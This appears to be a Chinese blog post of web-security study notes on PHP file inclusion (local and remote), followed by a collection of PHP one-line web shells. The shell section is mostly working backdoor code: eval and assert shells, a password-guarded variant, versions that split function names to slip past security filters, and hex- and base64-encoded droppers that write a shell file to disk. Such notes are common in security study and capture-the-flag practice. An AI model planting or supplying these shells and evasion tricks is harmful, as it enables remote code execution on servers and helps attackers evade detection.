0
点赞
收藏
分享

微信扫一扫

Web 2

女侠展昭 2022-02-18 阅读 55

一.文件包含

宗旨:将任何的php文件或者非php文件利用函数包含进php文件之后都会被当作php代码解析PHP提供一些函数来进行各个文件之间的相互引用,并提供了一些协议用于读取或者写入文件。

特殊文件包含:

最常⻅的使用:

其他函数:

include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile

#各种语言文件包含
#ASP ASPX PHP JSP Python Javaweb
<c:import url="http://...">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php include ('test.php')?>

分类:

相关配置

本地文件包含 (LFI):可以读取与打开本地文件

远程文件包含 (RFI)(HTTP,FTP,PHP伪协议):可以远程加载文

php.ini文件:
本地:allow_url_fopen=On/Off
远程:allow_url_include=On/Off
<?php
if(isset($_GET['path'])){
    include $_GET['path'];
}else{
    echo "?path=info.php";
}
?>
本地:可通过相对路径方式找到文件
?path=info.php
远程:可通过http(s)或者ftp等方式远程加载文件
?path=http://......info.php
?path=ftp://....

allow_url_fopen = On allow_url_include = On

  • 本地文件包含:通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行
  • 远程文件包含:就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器执行代码。

1.包含一句话木马:

将一句话写在一个文件中上传之后,在可以包含文件的php⻚面包含该文件,直接利用一句话

常⻅的一句话

eval :

  • 用来执行任意php代码
  • 用法:
<?php
eval($_POST[1]);
//1=system(ls);
?>

最常⻅的木⻢:

<?php
eval($_POS[1]);
?>

防爆破木⻢:

<?php
substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['password']);
?>
x=myh0st

过狗一句话:

<?php
($_=@$_GET[s]).@$_($_POST[hihack])
?> //s=assert
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]);
?>//将敏感函数通过.链接防止被检

不用 ? 的一句话远程:

<script language="php">eval ($_POST[hihack]);</script>

不用eval的一句话:

<?php
assert($_POST[1]);
?>
//具体看web1中的执行PHP代码函数的讲解

变形一句话后门:

<!--?php fputs 
(fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?-->
pack:pack(string $format, mixed ...$values): string //将输入参数打包成 format 格式的二进制字符串。6c6f7374776f6c662e706870//lostwolf.php
3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e//<?@eval($_POST[lostwolf])?>
<!--?php @ fputs (fopen(base64_decode('bXloMHN0LnBocA=='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydoaWhhY2snXSk7Pz4='));?-->

pack----->注意format代表的格式

灭杀一句话:

<!--?php $x="as"."se"."rt";$x($_POST["pass"]);?-->
举报

相关推荐

0 条评论